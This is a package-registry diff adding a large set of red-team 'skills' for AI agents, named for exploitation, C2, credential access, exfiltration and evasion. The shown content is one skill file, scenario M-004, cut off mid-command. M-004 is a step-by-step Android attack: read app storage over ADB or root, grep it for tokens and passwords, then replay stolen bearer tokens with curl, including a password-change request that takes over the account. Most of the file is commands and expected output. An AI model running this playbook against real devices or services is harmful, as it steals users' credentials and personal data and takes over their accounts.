rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,449 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-m004
|
|
3
|
+
description: "M-004: Insecure Local Storage → PII and Token Extraction. Domain: mobile. Attack chain: root device → adb shell as app user → read SharedPreferences XML files → extract auth tokens, PII, passwords stored in plain text. MITRE: T1430 → T1539. Real example: SharedPreferences: auth_token=Bearer_xyz in plaintext → use token in API calls → full account access"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# M-004: Insecure Local Storage → PII and Token Extraction
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Extract authentication tokens, personally identifiable information (PII), and credentials stored in plaintext within Android SharedPreferences XML files and other insecure local storage locations. Extracted tokens are replayed against backend APIs to achieve full account takeover without knowledge of the user's password.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** Low — physical or ADB access to a device with USB debugging enabled, or rooted device with shell access. No app credentials required.
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:** 15–45 minutes depending on device root status and app complexity.
|
|
15
|
+
|
|
16
|
+
**Detection Risk Level:** LOW — file reads are passive and generate no network traffic. SharedPreferences access is indistinguishable from normal app behavior at the OS level.
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
### Required Tools
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# ADB (Android Debug Bridge) — included in Android SDK Platform Tools
|
|
26
|
+
# Windows
|
|
27
|
+
winget install Google.PlatformTools
|
|
28
|
+
# macOS
|
|
29
|
+
brew install android-platform-tools
|
|
30
|
+
# Linux
|
|
31
|
+
sudo apt install adb
|
|
32
|
+
|
|
33
|
+
# Python 3 (for token replay scripts)
|
|
34
|
+
python3 --version
|
|
35
|
+
|
|
36
|
+
# curl or httpie for API replay
|
|
37
|
+
sudo apt install curl httpie
|
|
38
|
+
|
|
39
|
+
# Optional: Frida for runtime extraction without root
|
|
40
|
+
pip3 install frida-tools
|
|
41
|
+
|
|
42
|
+
# Optional: objection (Frida wrapper for mobile)
|
|
43
|
+
pip3 install objection
|
|
44
|
+
|
|
45
|
+
# Optional: apktool for static analysis of backup rules
|
|
46
|
+
# https://apktool.org/docs/install/
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Required Access or Conditions
|
|
50
|
+
|
|
51
|
+
- USB debugging enabled on the target device (Settings → Developer Options → USB Debugging), OR
|
|
52
|
+
- Device is rooted (Magisk, SuperSU), OR
|
|
53
|
+
- App has `android:allowBackup="true"` in AndroidManifest.xml (enables ADB backup extraction without root), OR
|
|
54
|
+
- Physical access to an unlocked device
|
|
55
|
+
|
|
56
|
+
### Skill Level
|
|
57
|
+
|
|
58
|
+
**BEGINNER** — Core SharedPreferences extraction requires only ADB commands. Token replay requires basic HTTP knowledge.
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Attack Chain
|
|
63
|
+
|
|
64
|
+
```
|
|
65
|
+
[Root / ADB Access]
|
|
66
|
+
|
|
|
67
|
+
v
|
|
68
|
+
[adb shell → run-as <package> OR su]
|
|
69
|
+
|
|
|
70
|
+
v
|
|
71
|
+
[Navigate to /data/data/<package>/shared_prefs/]
|
|
72
|
+
|
|
|
73
|
+
v
|
|
74
|
+
[cat *.xml → plaintext tokens, PII, passwords]
|
|
75
|
+
|
|
|
76
|
+
v
|
|
77
|
+
[Extract auth_token / session_id / credentials]
|
|
78
|
+
|
|
|
79
|
+
v
|
|
80
|
+
[Replay token in API calls → full account access]
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### MITRE ATT&CK Coverage
|
|
84
|
+
|
|
85
|
+
- **T1430** — Location Tracking / Data from Local System: Reading on-device storage to harvest sensitive data
|
|
86
|
+
- **T1539** — Steal Web Session Cookie / Auth Token: Using extracted tokens to hijack authenticated sessions
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## Step-by-Step Execution
|
|
91
|
+
|
|
92
|
+
### Step 1 — Identify the Target Package Name
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
# List installed packages (filter by app keyword)
|
|
96
|
+
adb shell pm list packages | grep -i <app_keyword>
|
|
97
|
+
|
|
98
|
+
# Example output:
|
|
99
|
+
# package:com.example.targetapp
|
|
100
|
+
|
|
101
|
+
# Alternative: check running processes
|
|
102
|
+
adb shell ps | grep -i <app_keyword>
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Expected Output:**
|
|
106
|
+
```
|
|
107
|
+
package:com.example.targetapp
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**Fallback:** If app name is unknown, install the APK and check:
|
|
111
|
+
```bash
|
|
112
|
+
adb shell pm list packages -f | grep -i <apk_filename>
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
---
|
|
116
|
+
|
|
117
|
+
### Step 2 — Verify SharedPreferences Directory Exists
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
# Without root — use run-as (requires debuggable build or debug certificate)
|
|
121
|
+
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/
|
|
122
|
+
|
|
123
|
+
# With root
|
|
124
|
+
adb shell
|
|
125
|
+
su
|
|
126
|
+
ls /data/data/com.example.targetapp/
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Expected Output:**
|
|
130
|
+
```
|
|
131
|
+
cache
|
|
132
|
+
databases
|
|
133
|
+
files
|
|
134
|
+
shared_prefs
|
|
135
|
+
lib
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Fallback — ADB Backup (no root, allowBackup=true):**
|
|
139
|
+
```bash
|
|
140
|
+
adb backup -noapk com.example.targetapp
|
|
141
|
+
# Produces backup.ab file
|
|
142
|
+
# Convert to tar:
|
|
143
|
+
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
|
|
144
|
+
tar -xvf backup.tar
|
|
145
|
+
# Navigate to apps/com.example.targetapp/sp/ for SharedPreferences files
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
### Step 3 — List SharedPreferences Files
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# Without root
|
|
154
|
+
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/shared_prefs/
|
|
155
|
+
|
|
156
|
+
# With root
|
|
157
|
+
adb shell su -c "ls /data/data/com.example.targetapp/shared_prefs/"
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
**Expected Output:**
|
|
161
|
+
```
|
|
162
|
+
UserPreferences.xml
|
|
163
|
+
SessionData.xml
|
|
164
|
+
AppConfig.xml
|
|
165
|
+
com.example.targetapp_preferences.xml
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
### Step 4 — Read SharedPreferences XML Files
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# Without root — read each file
|
|
174
|
+
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml
|
|
175
|
+
|
|
176
|
+
# With root — read all files at once
|
|
177
|
+
adb shell su -c "cat /data/data/com.example.targetapp/shared_prefs/*.xml"
|
|
178
|
+
|
|
179
|
+
# Pull files to local machine for offline analysis
|
|
180
|
+
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml > UserPreferences.xml
|
|
181
|
+
|
|
182
|
+
# With root — pull entire shared_prefs directory
|
|
183
|
+
adb pull /data/data/com.example.targetapp/shared_prefs/ ./shared_prefs_dump/
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
**Expected Output (plaintext token exposure):**
|
|
187
|
+
```xml
|
|
188
|
+
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
|
|
189
|
+
<map>
|
|
190
|
+
<string name="auth_token">Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NX0.abc123xyz</string>
|
|
191
|
+
<string name="user_email">victim@example.com</string>
|
|
192
|
+
<string name="user_password">P@ssw0rd123</string>
|
|
193
|
+
<string name="user_id">12345</string>
|
|
194
|
+
<string name="refresh_token">rt_abcdef1234567890</string>
|
|
195
|
+
<string name="credit_card_last4">4242</string>
|
|
196
|
+
<string name="national_id">12345678901234</string>
|
|
197
|
+
<boolean name="is_premium" value="true" />
|
|
198
|
+
</map>
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
### Step 5 — Search Additional Storage Locations
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
# SQLite databases (may contain tokens and PII)
|
|
207
|
+
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/databases/
|
|
208
|
+
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db ".tables"
|
|
209
|
+
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db "SELECT * FROM users LIMIT 5;"
|
|
210
|
+
|
|
211
|
+
# Files directory (tokens, caches, logs)
|
|
212
|
+
adb shell run-as com.example.targetapp find /data/data/com.example.targetapp/files/ -name "*.json" -o -name "*.txt" -o -name "*.log"
|
|
213
|
+
|
|
214
|
+
# External storage (world-readable on older Android versions)
|
|
215
|
+
adb shell ls /sdcard/Android/data/com.example.targetapp/
|
|
216
|
+
|
|
217
|
+
# Search for common token/credential patterns across all app storage
|
|
218
|
+
adb shell run-as com.example.targetapp grep -r "token\|password\|secret\|api_key\|Bearer\|auth" /data/data/com.example.targetapp/ 2>/dev/null
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
**Expected Output (database):**
|
|
222
|
+
```
|
|
223
|
+
users
|
|
224
|
+
sessions
|
|
225
|
+
preferences
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
---
|
|
229
|
+
|
|
230
|
+
### Step 6 — Extract and Document Credentials
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
# Pull all relevant files for offline documentation
|
|
234
|
+
mkdir -p ./evidence/m004/
|
|
235
|
+
|
|
236
|
+
# SharedPreferences
|
|
237
|
+
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml > ./evidence/m004/UserPreferences.xml
|
|
238
|
+
|
|
239
|
+
# Database dump
|
|
240
|
+
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db ".dump" > ./evidence/m004/app_db_dump.sql
|
|
241
|
+
|
|
242
|
+
# Screenshot timestamp for evidence chain
|
|
243
|
+
date +"%Y-%m-%dT%H:%M:%SZ" > ./evidence/m004/extraction_timestamp.txt
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
### Step 7 — Replay Token Against API
|
|
249
|
+
|
|
250
|
+
```bash
|
|
251
|
+
# Extract token from XML
|
|
252
|
+
AUTH_TOKEN="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NX0.abc123xyz"
|
|
253
|
+
|
|
254
|
+
# Test token against authenticated endpoint
|
|
255
|
+
curl -s -X GET "https://api.targetapp.com/v1/user/profile" \
|
|
256
|
+
-H "Authorization: $AUTH_TOKEN" \
|
|
257
|
+
-H "Content-Type: application/json" | python3 -m json.tool
|
|
258
|
+
|
|
259
|
+
# Test against sensitive endpoints
|
|
260
|
+
curl -s -X GET "https://api.targetapp.com/v1/user/payment-methods" \
|
|
261
|
+
-H "Authorization: $AUTH_TOKEN" \
|
|
262
|
+
-H "Content-Type: application/json" | python3 -m json.tool
|
|
263
|
+
|
|
264
|
+
# Test password change (demonstrates full account takeover)
|
|
265
|
+
curl -s -X POST "https://api.targetapp.com/v1/user/change-password" \
|
|
266
|
+
-H "Authorization: $AUTH_TOKEN" \
|
|
267
|
+
-H "Content-Type: application/json" \
|
|
268
|
+
-d '{"new_password": "RedTeamTest123!"}' | python3 -m json.tool
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
**Expected Output (successful token replay):**
|
|
272
|
+
```json
|
|
273
|
+
{
|
|
274
|
+
"user_id": 12345,
|
|
275
|
+
"email": "victim@example.com",
|
|
276
|
+
"name": "John Doe",
|
|
277
|
+
"plan": "premium",
|
|
278
|
+
"payment_methods": [...]
|
|
279
|
+
}
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
**Fallback — if token is expired:** Use refresh_token to obtain a new access token:
|
|
283
|
+
```bash
|
|
284
|
+
REFRESH_TOKEN="rt_abcdef1234567890"
|
|
285
|
+
curl -s -X POST "https://api.targetapp.com/v1/auth/refresh" \
|
|
286
|
